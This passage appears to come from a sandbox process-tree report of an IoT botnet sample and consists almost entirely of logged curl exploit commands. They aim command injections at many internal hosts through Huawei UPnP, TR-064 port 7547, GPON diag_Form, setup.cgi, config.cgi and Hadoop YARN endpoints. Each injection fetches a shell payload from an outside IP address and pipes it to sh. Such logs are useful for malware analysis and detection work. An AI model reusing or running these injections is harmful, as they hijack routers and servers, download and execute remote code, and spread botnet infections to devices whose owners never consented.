                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1361
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -X POST http://10.127.0.125:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1358
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -X POST "http://10.127.0.124:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1363
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -X POST "http://10.127.0.130:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1401
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -g "http://10.127.0.130/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1398
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -g "http://10.127.0.131/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1409
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.130/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1402
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -X POST http://10.127.0.131:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1410
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.131/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1413
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -X POST "http://10.127.0.131:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1411
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.131/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1412
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -X POST http://10.127.0.123:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1360
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -X POST http://10.127.0.121:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1330
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -X POST http://10.127.0.130:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -g "http://10.127.0.124/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1355
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.123:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1418
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.121/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1333
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.126/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1424
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -X POST http://10.127.0.127:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1422
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -g "http://10.127.0.127:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1377
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.12:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1431
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -X POST http://10.127.0.128:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1370
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.126:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1429
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -X POST http://10.127.0.132:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1438
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -g "http://10.127.0.132/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1437
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -X POST "http://10.127.0.132:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1439
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -g "http://10.127.0.132:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.132/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1441
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.132/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -g "http://10.127.0.126/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1385
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -X POST http://10.127.0.126:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1386
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -g "http://10.127.0.127/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1378
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -g "http://10.127.0.128:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1368
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.13/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1447
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.127/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -X POST "http://10.127.0.126:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1423
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.127/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1457
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -X POST "http://10.127.0.127:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1455
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.124:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1464
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -X POST "http://10.127.0.129:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1471
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.129/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1472
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -g "http://10.127.0.129/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1469
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
